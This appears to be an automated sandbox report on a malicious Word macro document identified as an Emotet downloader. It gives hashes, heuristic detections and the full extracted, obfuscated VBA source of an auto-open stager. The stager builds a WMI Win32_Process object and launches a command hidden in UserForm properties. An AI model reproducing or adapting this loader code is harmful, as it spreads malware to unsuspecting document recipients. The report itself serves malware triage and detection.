Office (OLE) malware analysis — malicious · d494fef0346aac94

MALICIOUS

Office (OLE)

185.5 KB Created: 2019-12-17 22:30:00 Authoring application: Microsoft Office Word First seen: 2020-05-14

MD5: 0a35c6e8ad7e6d0a76e5b29a099d05ce SHA-1: 5698e77554d1eb16670b7809351ae6f7a10dcd91 SHA-256: d494fef0346aac9497abd8465b6e3bd64fce90b32a1e2048737ae5ca345b7d1c

232 Risk Score

Heuristics 8

ClamAV: Doc.Downloader.Emotet-7461037-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Downloader.Emotet-7461037-0
VBA macros detected medium 4 related findings OLE_VBA_MACROS

Document contains VBA macro code
VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER

VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
Matched line in script
```
Dnkgoouwhwrda = Join(Split("wii3j3j3g4nmi3j3j3g4gm" + "i3j3j3g4ts:i3j3j3g4Wini3j3j3g432i3j3j3g4_i3j3j3g4", XXXXX), "") + Kyrfizqcvpvg.Apuysxqq + "rocess"
```
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
Matched line in script
```
Set Lewfkqcu = VBA.CreateObject(Dnkgoouwhwrda)
```
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
Document_Open macro low OLE_VBA_DOCOPEN

Document_Open macro
Matched line in script
```
Private Sub Document_open()
```
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	9741 bytes
SHA-256: `d14bcfe7544aa6c6e794ce3d8f1ef63184e5d30e1fe0d279737d32bebc4b34df`
Detection ClamAV: No threats found Obfuscation or payload: likely 115 of 192 identifiers look randomly generated (e.g. 'wii3j3j3g4nmi3j3j3g4gm') — consistent with name-mangling obfuscation.
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "Kyrfizqcvpvg" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Control = "Apuysxqq, 0, 0, MSForms, TextBox" Private Sub Document_open() For Slvwadestkvc = Vytvhcxvfiutr To Ijxgptkynajth Sqslivmxphx = Nbglzukax Ekzgvyjqerpe = Wcvlizsve Next Select Case Txtmgnvuyh Case 726 kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3)) DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM)) cCy = 98693360 Case 7172 Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr))) svo = 6 Yqm = VGG Case 423356465 End Select For Njzigenkg = Zejcvhhfl To Kmjsukggsbh Fhuogpduhxl = Txiylogaznzo Dahgraww = Sywwsdoyxzq Next Select Case Uptxmgtvawmzt Case 726 kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3)) DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM)) cCy = 98693360 Case 7172 Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr))) svo = 6 Yqm = VGG Case 423356465 End Select For Rucwmwqefy = Ojsiowhml To Xcsuzwruxw Knroazkbp = Vyvzeeoax Euubrhneyl = Hvwihmam Next Select Case Wwvewnqjvge Case 726 kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3)) DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM)) cCy = 98693360 Case 7172 Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr))) svo = 6 Yqm = VGG Case 423356465 End Select Vwgyvpdtduf End Sub Attribute VB_Name = "Unjkwlnutvez" Attribute VB_Base = "0{93C1FD64-4C7F-4F71-9370-B0040CDE1EA0}{07DFA1EA-51CD-4D6C-A732-DC1A5797300E}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = False Attribute VB_Name = "Mjlhxlnqz" Function Xawbjsflf() For Uliusttnh = Rsytshekop To Wkayofxkr Fkjbaudexjq = Jnfcuknr Lkrvfiklt = Sjifdplka Next Select Case Vaoazupha Case 726 kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3)) DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM)) cCy = 98693360 Case 7172 Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr))) svo = 6 Yqm = VGG Case 423356465 End Select Ephzkyayvqgk = Kyrfizqcvpvg.Apuysxqq For Mhiesxzet = Tldwtarvx To Rwsocijwclvy Lieemdsirr = Hurrozcuplme Vxvxynylirn = Yzjfarkaoe Next Select Case Wvjvzwzjvivmu Case 726 kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3)) DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM)) cCy = 98693360 Case 7172 Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr))) svo = 6 Yqm = VGG Case 423356465 End Select Uuculieidgd = Ephzkyayvqgk + Unjkwlnutvez.Prbdhzla + Unjkwlnutvez.Gzucpthnavr + Unjkwlnutvez.Wffrndattfaih For Bokaikoc = Ppmzzaokjewg To Gesynytxr Otrhoypn = Qimdopqlveu Terqowys = Vlgxdufhsy Next Select Case Wguyjdmwyjz Case 726 kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3)) DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM)) cCy = 98693360 Case 7172 Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr))) svo = 6 Yqm = VGG Case 423356465 End Select Dfnsjdxv = Uuculieidgd + Unjkwlnutvez.Axbvhjyswbo + Unjkwlnutvez.Zqopzswltyq For Ifbkffnkwzlf = Kxyadenkh To Ojpvlgehwgz Lheiuaiib = Uavbehyxmt Ypkthyiaktrov = Phginedal Next Select Case Dphcrnvl Case 726 kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3)) DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM)) cCy = 98693360 Case 7172 Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr))) svo = 6 Yqm = VGG Case 423356465 End Select Xawbjsflf = Mwvkimnifshsw + Dfnsjdxv + Mwvkimnifshsw For Qtqwfiwftv = Bqhhvbjh To Hyzpbmwwwln Sontntur = Zmeeihoqgp Rxqgkiwzdq = Pthivoyyioz Next Select Case Hophvgscfwqdh Case 726 kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3)) DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM)) cCy = 98693360 Case 7172 Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr))) svo = 6 Yqm = VGG Case 423356465 End Select End Function Function Vwgyvpdtduf() For Fkvrpivb = Cyoszvodk To Xlhgbtdwciak Vwxrpepxyqk = Ljjpjqjiynk Regybncbeyr = Ndznrwpfrmssr Next Select Case Iwindamk Case 726 kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3)) DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM)) cCy = 98693360 Case 7172 Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr))) svo = 6 Yqm = VGG Case 423356465 End Select XXXXX = "i3j3j3g4" Dnkgoouwhwrda = Join(Split("wii3j3j3g4nmi3j3j3g4gm" + "i3j3j3g4ts:i3j3j3g4Wini3j3j3g432i3j3j3g4_i3j3j3g4", XXXXX), "") + Kyrfizqcvpvg.Apuysxqq + "rocess" For Qhbcswdfed = Fszvvykg To Loiamslkaxbq Chberiqoontgu = Sfkzwvntrjltu Ypodtnwgofd = Vggytmirrqhao Next Select Case Ufowlyperq Case 726 kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3)) DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM)) cCy = 98693360 Case 7172 Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr))) svo = 6 Yqm = VGG Case 423356465 End Select Set Lewfkqcu = VBA.CreateObject(Dnkgoouwhwrda) For Dkmtqbtt = Weucrbeitdmox To Mliitwer Zxtvcrvktmj = Ogbchppp Qeplkjcrnkns = Nrlreeeubk Next Select Case Rtxbuamc Case 726 kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3)) DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM)) cCy = 98693360 Case 7172 Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr))) svo = 6 Yqm = VGG Case 423356465 End Select Sgkszejlpvgjl = Dnkgoouwhwrda + Unjkwlnutvez.Eqhxegtht.ControlTipText + Unjkwlnutvez.Yppxrkdtfyb.ControlTipText For Oswbpzivrf = Ipovgxslw To Jjfjkbvst Utepljkqgln = Holmlxrpomnrj Tvmzatvurrljb = Tvuicvqihwnz Next Select Case Qyctlwkzn Case 726 kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3)) DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM)) cCy = 98693360 Case 7172 Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr))) svo = 6 Yqm = VGG Case 423356465 End Select Smaxalax = Sgkszejlpvgjl + Kyrfizqcvpvg.Apuysxqq For Gqlayevtvd = Jwoxopldhhmw To Lcrfrlgntjb Mbegcpfmtq = Mfgdzdodjs Qmylvdew = Ybdajhrb Next Select Case Ksegaktgmv Case 726 kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3)) DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM)) cCy = 98693360 Case 7172 Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr))) svo = 6 Yqm = VGG Case 423356465 End Select Set Vwgyvpdtduf = CreateObject(Smaxalax) For Ikrmrlrpev = Qovkkeno To Vuxpvfrgqcvuz Nyoaytcvpmyx = Lxqploxpbpl Fjfwodqwgynvd = Idxilqeeeendw Next Select Case Zoauxlkpjupse Case 726 kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3)) DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM)) cCy = 98693360 Case 7172 Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr))) svo = 6 Yqm = VGG Case 423356465 End Select Vwgyvpdtduf.XSize = False For Wyhnrftac = Xnegnhqdx To Xglqldyn Rrddcvryvp = Vatskjyunpju Catqcovv = Adkmyfchtcklx Next Select Case Popvbijbbtre Case 726 kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3)) DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM)) cCy = 98693360 Case 7172 Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr))) svo = 6 Yqm = VGG Case 423356465 End Select Vwgyvpdtduf.YSize = False For Orgjyyqtvq = Kmdqbecif To Zgifdlgtevfkx Hpdumznuksv = Itohjthcpsmhp Kfbfmkxmflr = Mynizjklhy Next Select Case Wprxqmwcz Case 726 kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3)) DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM)) cCy = 98693360 Case 7172 Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr))) svo = 6 Yqm = VGG Case 423356465 End Select Do While Lewfkqcu.Create(PPPP & Xawbjsflf, Kythhemuri, Vwgyvpdtduf, Qqedcotsc) Loop For Wgxbtfgqvuh = Gunefmlrlbjb To Dxbuxwsuy Drrssdbgpcrl = Ffylfozvydtta Zmwtlbvuz = Hviemlavsrujt Next Select Case Isnyzdsypqvs Case 726 kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3)) DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM)) cCy = 98693360 Case 7172 Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr))) svo = 6 Yqm = VGG Case 423356465 End Select End Function

Open this report in the interactive analyzer, or submit your own file for analysis.